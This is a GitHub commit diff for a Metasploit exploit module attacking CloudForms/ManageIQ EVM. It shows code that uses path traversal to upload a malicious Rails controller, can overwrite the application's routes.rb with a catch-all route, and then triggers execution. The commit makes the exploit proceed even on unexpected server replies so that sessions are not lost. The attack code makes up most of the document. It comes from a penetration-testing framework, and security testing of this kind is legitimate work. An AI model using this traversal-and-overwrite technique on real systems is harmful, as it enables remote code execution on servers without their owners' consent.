Skip to content

Commit ec64382

Browse files
committed
Fix cfme_manageiq_evm_upload_exec according to chat with @rcvalle
1 parent a28ea18 commit ec64382

File tree

1 file changed

+16
-3
lines changed

1 file changed

+16
-3
lines changed

modules/exploits/linux/http/cfme_manageiq_evm_upload_exec.rb

Lines changed: 16 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -8,6 +8,7 @@
88
class Metasploit4 < Msf::Exploit::Remote
99

1010
include Msf::Exploit::Remote::HttpClient
11+
include Msf::Exploit::FileDropper
1112

1213
def initialize
1314
super(
@@ -93,15 +94,27 @@ def exploit
9394

9495
print_status("Sending fake-controller upload request to #{target_url('agent', 'linuxpkgs')}...")
9596
res = upload_file("../../app/controllers/#{controller}_controller.rb", data)
96-
97-
fail_with(Failure::Unknown, 'No response from remote host') unless res and res.code == 500
97+
fail_with(Failure::Unknown, 'No response from remote host') if res.nil?
98+
register_files_for_cleanup("app/controllers/#{controller}_controller.rb")
99+
# According to rcvalle, all the version have not been checked
100+
# so we're not sure if res.code will be always 500, in order
101+
# to not lose sessions, just print warning and proceeding
102+
unless res and res.code == 500
103+
print_warning("Unexpected reply but proceeding anyway...")
104+
end
98105

99106
if datastore['ROUTES']
100107
data = "Vmdb::Application.routes.draw { root :to => 'dashboard#login'; match ':controller(/:action(/:id))(.:format)' }\n"
101108

102109
print_status("Sending routing-file upload request to #{target_url('agent', 'linuxpkgs')}...")
103110
res = upload_file("../../config/routes.rb", data)
104-
fail_with(Failure::Unknown, 'No response from remote host') unless res and res.code == 500
111+
fail_with(Failure::Unknown, 'No response from remote host') if res.nil?
112+
# According to rcvalle, all the version have not been checked
113+
# so we're not sure if res.code will be always 500, in order
114+
# to not lose sessions, just print warning and proceeding
115+
unless res and res.code == 500
116+
print_warning("Unexpected reply but proceeding anyway...")
117+
end
105118
end
106119

107120
print_status("Sending execute request to #{target_url(controller, action)}...")

0 commit comments

Comments
 (0)